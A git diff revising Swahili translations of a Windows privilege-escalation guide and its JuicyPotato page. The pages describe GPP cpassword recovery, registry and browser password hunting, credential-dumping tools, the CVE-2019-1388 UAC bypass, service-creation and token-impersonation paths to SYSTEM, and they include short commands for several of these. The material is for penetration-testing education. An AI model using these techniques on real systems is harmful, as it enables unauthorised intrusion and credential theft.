Kipengele kilikuwa kinapatikana hapo awali ambacho kiliruhusu usambazaji wa akaunti za wasimamizi wa ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Kundi (GPP). Hata hivyo, njia hii ilikuwa na mapungufu makubwa ya usalama. Kwanza, Vitu vya Mipangilio ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya GPP hizi, zilizofichwa kwa AES256 kwa kutumia funguo za kawaida zilizoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.
|
||||
Kipengele kilikuwa na uwezo wa awali ambacho kiliruhusu usambazaji wa akaunti za wasimamizi wa ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Kundi ya Upendeleo (GPP). Hata hivyo, njia hii ilikuwa na mapungufu makubwa ya usalama. Kwanza, Vitu vya Mipangilio ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya GPP hizi, zilizofichwa kwa AES256 kwa kutumia funguo za kawaida zilizoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.
|
||||
|
||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani zenye uwanja wa "cpassword" ambao si tupu. Punde tu inapotafuta faili kama hiyo, kazi hiyo inafichua nywila na kurudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali pa faili, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
|
||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani ambazo zina uwanja wa "cpassword" usio tupu. Punde tu inapotafuta faili kama hiyo, kazi hiyo inafichua nywila na inarudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali ambapo faili hiyo iko, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
|
||||
|
||||
Tafuta katika `C:\ProgramData\Microsoft\Group Policy\history` au katika _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (kabla ya W Vista)_ kwa ajili ya faili hizi:
|
||||
|
||||
@ -1155,7 +1155,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
### Historia ya Vivinjari
|
||||
|
||||
Unapaswa kuangalia kwa dbs ambapo nywila kutoka **Chrome au Firefox** zimehifadhiwa.\
|
||||
Pia angalia historia, alama na vipendwa vya vivinjari ili labda baadhi ya **nywila zimehifadhiwa** huko.
|
||||
Pia angalia historia, alama na vipendwa vya vivinjari hivyo labda baadhi ya **nywila zimehifadhiwa** huko.
|
||||
|
||||
Zana za kutoa nywila kutoka kwa vivinjari:
|
||||
|
||||
@ -1168,9 +1168,9 @@ Zana za kutoa nywila kutoka kwa vivinjari:
|
||||
|
||||
**Component Object Model (COM)** ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu **mawasiliano** kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kinatambuliwa kupitia kitambulisho cha darasa (CLSID) na kila kipengele kinatoa kazi kupitia interface moja au zaidi, zinazotambuliwa kupitia kitambulisho cha interface (IIDs).
|
||||
|
||||
Darasa na interface za COM zin defined katika rejista chini ya **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** na **HKEY\_**_**CLASSES\_**_**ROOT\Interface** mtawalia. Rejista hii inaundwa kwa kuunganisha **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
Darasa na interface za COM zinafafanuliwa katika rejista chini ya **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** na **HKEY\_**_**CLASSES\_**_**ROOT\Interface** mtawalia. Rejista hii inaundwa kwa kuunganisha **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Ndani ya CLSIDs za rejista hii unaweza kupata rejista ya mtoto **InProcServer32** ambayo ina **thamani ya chaguo-msingi** inayoelekeza kwenye **DLL** na thamani inayoitwa **ThreadingModel** ambayo inaweza kuwa **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single au Multi) au **Neutral** (Thread Neutral).
|
||||
Ndani ya CLSIDs za rejista hii unaweza kupata rejista ya mtoto **InProcServer32** ambayo ina **thamani ya kawaida** inayoelekeza kwenye **DLL** na thamani inayoitwa **ThreadingModel** ambayo inaweza kuwa **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single au Multi) au **Neutral** (Thread Neutral).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -1203,13 +1203,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
```
|
||||
### Zana zinazotafuta nywila
|
||||
### Vifaa vinavyotafuta nywila
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ni plugin ya msf** niliyounda plugin hii ili **kutekeleza kiotomati kila moduli ya POST ya metasploit inayotafuta akidi** ndani ya mwathirika.\
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ni plugin ya msf** niliyoitengeneza plugin hii ili **kutekeleza kiotomati kila moduli ya POST ya metasploit inayotafuta akidi** ndani ya mwathirika.\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) inatafuta kiotomati faili zote zinazokuwa na nywila zilizotajwa katika ukurasa huu.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ni zana nyingine nzuri ya kutoa nywila kutoka kwa mfumo.
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ni chombo kingine kizuri cha kutoa nywila kutoka kwa mfumo.
|
||||
|
||||
Zana [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) inatafuta **sessions**, **majina ya watumiaji** na **nywila** za zana kadhaa zinazohifadhi data hii kwa maandiko wazi (PuTTY, WinSCP, FileZilla, SuperPuTTY, na RDP)
|
||||
Chombo [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) kinatafuta **sessions**, **majina ya watumiaji** na **nywila** za zana kadhaa zinazohifadhi data hii kwa maandiko wazi (PuTTY, WinSCP, FileZilla, SuperPuTTY, na RDP)
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1219,7 +1219,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Fikiria kwamba **mchakato unaotendeka kama SYSTEM unafungua mchakato mpya** (`OpenProcess()`) kwa **ufikiaji kamili**. Mchakato huo huo **pia unaunda mchakato mpya** (`CreateProcess()`) **kwa ruhusa za chini lakini unarithi handles zote za wazi za mchakato mkuu**.\
|
||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kupata **handle ya wazi kwa mchakato wa ruhusa ulioanzishwa** na `OpenProcess()` na **kuingiza shellcode**.\
|
||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kupata **handle wazi kwa mchakato wa ruhusa ulioanzishwa** na `OpenProcess()` na **kuingiza shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1227,9 +1227,9 @@ Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza ku
|
||||
|
||||
Sehemu za kumbukumbu zilizoshirikiwa, zinazoitwa **pipes**, zinawezesha mawasiliano ya mchakato na uhamasishaji wa data.
|
||||
|
||||
Windows inatoa kipengele kinachoitwa **Named Pipes**, kinachowezesha michakato isiyo na uhusiano kushiriki data, hata kupitia mitandao tofauti. Hii inafanana na usanifu wa mteja/server, ambapo majukumu yanafafanuliwa kama **named pipe server** na **named pipe client**.
|
||||
Windows inatoa kipengele kinachoitwa **Named Pipes**, kinachoruhusu michakato isiyo na uhusiano kushiriki data, hata kupitia mitandao tofauti. Hii inafanana na usanifu wa mteja/server, ambapo majukumu yanafafanuliwa kama **named pipe server** na **named pipe client**.
|
||||
|
||||
Wakati data inatumwa kupitia pipe na **mteja**, **server** iliyoweka pipe ina uwezo wa **kuchukua utambulisho** wa **mteja**, ikiwa ina haki zinazohitajika za **SeImpersonate**. Kutambua **mchakato wa ruhusa** unaowasiliana kupitia pipe unayoweza kuiga kunatoa fursa ya **kupata ruhusa za juu** kwa kukubali utambulisho wa mchakato huo mara tu unapoingiliana na pipe uliyounda. Kwa maelekezo ya kutekeleza shambulio kama hilo, mwongozo wa kusaidia unaweza kupatikana [**here**](named-pipe-client-impersonation.md) na [**here**](./#from-high-integrity-to-system).
|
||||
Wakati data inatumwa kupitia pipe na **mteja**, **server** iliyoweka pipe ina uwezo wa **kuchukua utambulisho** wa **mteja**, ikiwa ina haki zinazohitajika za **SeImpersonate**. Kutambua **mchakato wa ruhusa** unaowasiliana kupitia pipe unayoweza kuiga kunatoa fursa ya **kupata ruhusa za juu** kwa kukubali utambulisho wa mchakato huo mara tu unapoingiliana na pipe uliyounda. Kwa maelekezo juu ya kutekeleza shambulio kama hilo, mwongozo wa kusaidia unaweza kupatikana [**here**](named-pipe-client-impersonation.md) na [**here**](./#from-high-integrity-to-system).
|
||||
|
||||
Pia zana ifuatayo inaruhusu **kukamata mawasiliano ya named pipe kwa zana kama burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **na zana hii inaruhusu kuorodhesha na kuona pipes zote ili kupata privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1249,11 +1249,11 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
```
|
||||
## Kuiba nywila kutoka kwa michakato
|
||||
|
||||
## Kutoka kwa Mtumiaji wa Haki za Chini hadi NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
## Kutoka kwa Mtumiaji wa Hali ya Chini hadi NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
|
||||
Ikiwa una ufikiaji wa kiolesura cha grafiki (kupitia console au RDP) na UAC imewezeshwa, katika toleo fulani la Microsoft Windows inawezekana kuendesha terminal au mchakato mwingine wowote kama "NT\AUTHORITY SYSTEM" kutoka kwa mtumiaji asiye na haki.
|
||||
Ikiwa una ufikiaji wa kiolesura cha grafiki (kupitia console au RDP) na UAC imewezeshwa, katika toleo fulani la Microsoft Windows inawezekana kuendesha terminal au mchakato mwingine wowote kama "NT\AUTHORITY SYSTEM" kutoka kwa mtumiaji asiye na mamlaka.
|
||||
|
||||
Hii inafanya iwezekane kupandisha haki na kupita UAC kwa wakati mmoja kwa kutumia udhaifu huo huo. Zaidi ya hayo, hakuna haja ya kufunga chochote na faili ya binari inayotumika wakati wa mchakato, imesainiwa na kutolewa na Microsoft.
|
||||
Hii inafanya iwezekane kupandisha mamlaka na kupita UAC kwa wakati mmoja kwa kutumia udhaifu huo huo. Zaidi ya hayo, hakuna haja ya kufunga chochote na faili ya binari inayotumika wakati wa mchakato, imesainiwa na kutolewa na Microsoft.
|
||||
|
||||
Baadhi ya mifumo iliyoathiriwa ni ifuatayo:
|
||||
```
|
||||
@ -1313,11 +1313,11 @@ Kisha **soma hii ili ujifunze kuhusu UAC na UAC bypasses:**
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **Kutoka kwa Uaminifu wa Juu hadi Mfumo**
|
||||
## **Kutoka kwa Uaminifu Juu hadi Mfumo**
|
||||
|
||||
### **Huduma Mpya**
|
||||
|
||||
Ikiwa tayari unafanya kazi kwenye mchakato wa Uaminifu wa Juu, **kupita kwa SYSTEM** kunaweza kuwa rahisi tu **kwa kuunda na kutekeleza huduma mpya**:
|
||||
Ikiwa tayari unafanya kazi kwenye mchakato wa Uaminifu Juu, **kupita kwa SYSTEM** kunaweza kuwa rahisi tu **kwa kuunda na kutekeleza huduma mpya**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1333,24 +1333,26 @@ Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha rekodi za Alw
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Ikiwa una hizo haki za tokeni (labda utaona hii katika mchakato wa High Integrity tayari), utaweza **kufungua karibu mchakato wowote** (sio mchakato uliohifadhiwa) kwa kutumia haki ya SeDebug, **nakala ya tokeni** ya mchakato, na kuunda **mchakato wa kiholela kwa kutumia tokeni hiyo**.\
|
||||
Kutumia mbinu hii kawaida **uchaguliwa mchakato wowote unaotumia kama SYSTEM na haki zote za tokeni** (_ndiyo, unaweza kupata mchakato za SYSTEM bila haki zote za tokeni_).\
|
||||
Ikiwa una hizo haki za tokeni (labda utaona hii katika mchakato wa High Integrity tayari), utaweza **kufungua karibu mchakato wowote** (sio michakato iliyo na ulinzi) kwa kutumia haki ya SeDebug, **nakala ya tokeni** ya mchakato, na kuunda **mchakato wowote na tokeni hiyo**.\
|
||||
Kutumia mbinu hii kawaida **uchaguliwa mchakato wowote unaotumia kama SYSTEM na haki zote za tokeni** (_ndiyo, unaweza kupata michakato ya SYSTEM bila haki zote za tokeni_).\
|
||||
**Unaweza kupata** [**mfano wa msimbo unaotekeleza mbinu iliyopendekezwa hapa**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Mbinu hii inatumika na meterpreter ili kupandisha katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya kuwa tokeni** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
|
||||
Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya kuwa tokeni** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
|
||||
Ikiwa unataka [**kujifunza zaidi kuhusu bomba za jina unapaswa kusoma hii**](./#named-pipe-client-impersonation).\
|
||||
Ikiwa unataka kusoma mfano wa [**jinsi ya kutoka kwa high integrity hadi System kwa kutumia bomba za jina unapaswa kusoma hii**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama **SYSTEM** utaweza kutekeleza msimbo wa kiholela kwa kutumia ruhusa hizo. Hivyo, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha haki, na, zaidi ya hayo, ni **rahisi zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
|
||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama **SYSTEM** utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo basi Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na, zaidi ya hayo, ni **rahisi zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
|
||||
**Unaweza** [**kujifunza zaidi kuhusu Dll hijacking hapa**](dll-hijacking/)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
@ -1362,17 +1364,17 @@ Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama *
|
||||
|
||||
## Useful tools
|
||||
|
||||
**Zana bora ya kutafuta njia za kupandisha haki za ndani za Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
**Zana bora ya kutafuta njia za kupandisha hadhi za ndani za Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imegundulika.**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imepatikana.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Angalia makosa fulani ya usanidi na kukusanya taarifa (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Angalia makosa ya usanidi**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika ndani.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa taarifa za kuingia kutoka kwa Meneja wa Taarifa. Imegundulika.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga nenosiri zilizokusanywa kwenye domain**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika eneo.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa taarifa za kuingia kutoka kwa Meneja wa Taarifa. Imepatikana.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga mizunguko ya nywila zilizokusanywa kwenye domain**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ni zana ya PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer na man-in-the-middle.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Uainishaji wa msingi wa privesc Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Tafuta udhaifu wa privesc unaojulikana (IMEFUTWA kwa Watson)\
|
||||
@ -1384,7 +1386,7 @@ Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama *
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Inatafuta mwenyeji akitafuta makosa ya usanidi (zaidi ni zana ya kukusanya taarifa kuliko privesc) (inahitaji kukusanywa) **(**[**imekusanywa mapema**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Inatoa taarifa za kuingia kutoka kwa programu nyingi (exe iliyokusanywa mapema katika github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port ya PowerUp kwa C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Angalia makosa ya usanidi (executable iliyokusanywa mapema katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10.\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Angalia makosa ya usanidi (executable iliyokusanywa katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Angalia makosa yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.
|
||||
|
||||
**Bat**
|
||||
@ -1393,8 +1395,8 @@ Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama *
|
||||
|
||||
**Local**
|
||||
|
||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Inasoma matokeo ya **systeminfo** na inapendekeza exploits zinazofanya kazi (python ya ndani)\
|
||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Inasoma matokeo ya **systeminfo** na inapendekeza exploits zinazofanya kazi (python ya ndani)
|
||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Inasoma matokeo ya **systeminfo** na inapendekeza exploit zinazofanya kazi (python ya ndani)\
|
||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Inasoma matokeo ya **systeminfo** na inapendekeza exploit zinazofanya kazi (python ya ndani)
|
||||
|
||||
**Meterpreter**
|
||||
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) zinaweza kutumika **kuchukua madaraka sawa na kupata ufikiaji wa kiwango cha `NT AUTHORITY\SYSTEM`**. _**Angalia:**_
|
||||
> [!WARNING] > **JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) zinaweza kutumika **kuchukua faida ya ruhusa sawa na kupata `NT AUTHORITY\SYSTEM`** kiwango cha ufikiaji. _**Angalia:**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Juicy Potato (kutumia madaraka ya dhahabu) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (kutumia ruhusa za dhahabu) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Toleo lililo na sukari la_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, likiwa na kidogo cha juisi, yaani **chombo kingine cha Kupanua Madaraka ya Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM**_
|
||||
_Toleo lililo na sukari la_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, likiwa na kidogo cha juisi, yaani **chombo kingine cha Kupanua Ruhusa za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Unaweza kupakua juicypotato kutoka [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
@ -19,19 +18,19 @@ _Toleo lililo na sukari la_ [_RottenPotatoNG_](https://github.com/breenmachine/R
|
||||
|
||||
[**Kutoka kwa juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) na [mabadiliko yake](https://github.com/decoder-it/lonelypotato) yanatumia mnyororo wa kupanua madaraka kulingana na [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [huduma](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ikiwa na msikilizaji wa MiTM kwenye `127.0.0.1:6666` na unapokuwa na madaraka ya `SeImpersonate` au `SeAssignPrimaryToken`. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo `BITS` ulikuwa umezimwa kwa makusudi na bandari `6666` ilikuwa imechukuliwa.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) na [mifano zake](https://github.com/decoder-it/lonelypotato) zinatumia mnyororo wa kupanua ruhusa kulingana na [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [huduma](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ikiwa na msikilizaji wa MiTM kwenye `127.0.0.1:6666` na unapokuwa na ruhusa za `SeImpersonate` au `SeAssignPrimaryToken`. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo `BITS` ulikuwa umezimwa makusudi na bandari `6666` ilikuwa imechukuliwa.
|
||||
|
||||
Tuliamua kuunda silaha [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Sema hello kwa Juicy Potato**.
|
||||
Tuliamua kuunda silaha [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Sema salamu kwa Juicy Potato**.
|
||||
|
||||
> Kwa nadharia, angalia [Rotten Potato - Kupanua Madaraka kutoka Akaunti za Huduma hadi SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) na ufuate mnyororo wa viungo na marejeleo.
|
||||
> Kwa nadharia, angalia [Rotten Potato - Kupanua Ruhusa kutoka Akaunti za Huduma hadi SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) na ufuate mnyororo wa viungo na marejeleo.
|
||||
|
||||
Tuligundua kwamba, mbali na `BITS` kuna seva kadhaa za COM tunaweza kutumia vibaya. Zinahitaji tu:
|
||||
Tuligundua kwamba, mbali na `BITS` kuna seva kadhaa za COM tunaweza kutumia. Zinahitaji tu:
|
||||
|
||||
1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana madaraka ya kuiga
|
||||
1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana ruhusa za kuiga
|
||||
2. kutekeleza interface ya `IMarshal`
|
||||
3. kukimbia kama mtumiaji aliyeinuliwa (SYSTEM, Administrator, …)
|
||||
|
||||
Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya [CLSID za kuvutia](http://ohpe.it/juicy-potato/CLSID/) kwenye toleo mbalimbali za Windows.
|
||||
Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya [CLSID za kuvutia](http://ohpe.it/juicy-potato/CLSID/) kwenye toleo kadhaa za Windows.
|
||||
|
||||
### Maelezo ya Juicy <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
@ -40,15 +39,15 @@ JuicyPotato inakuwezesha:
|
||||
- **CLSID ya Lengo** _chagua CLSID yoyote unayotaka._ [_Hapa_](http://ohpe.it/juicy-potato/CLSID/) _unaweza kupata orodha iliyopangwa kwa OS._
|
||||
- **Bandari ya Kusikiliza ya COM** _mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyowekwa kwenye marshalled)_
|
||||
- **Anwani ya IP ya Kusikiliza ya COM** _fungua seva kwenye IP yoyote_
|
||||
- **Njia ya uundaji wa mchakato** _kulingana na madaraka ya mtumiaji aliyeigizwa unaweza kuchagua kutoka:_
|
||||
- **Njia ya uundaji wa mchakato** _kulingana na ruhusa za mtumiaji aliyeiga unaweza kuchagua kutoka:_
|
||||
- `CreateProcessWithToken` (inahitaji `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (inahitaji `SeAssignPrimaryToken`)
|
||||
- `zote`
|
||||
- **Mchakato wa kuzindua** _zindua executable au script ikiwa unyakuzi unafanikiwa_
|
||||
- **Hoja za Mchakato** _binafsisha hoja za mchakato uliozinduliwa_
|
||||
- **Mchakato wa kuzindua** _zindua executable au script ikiwa unyakuzi utafaulu_
|
||||
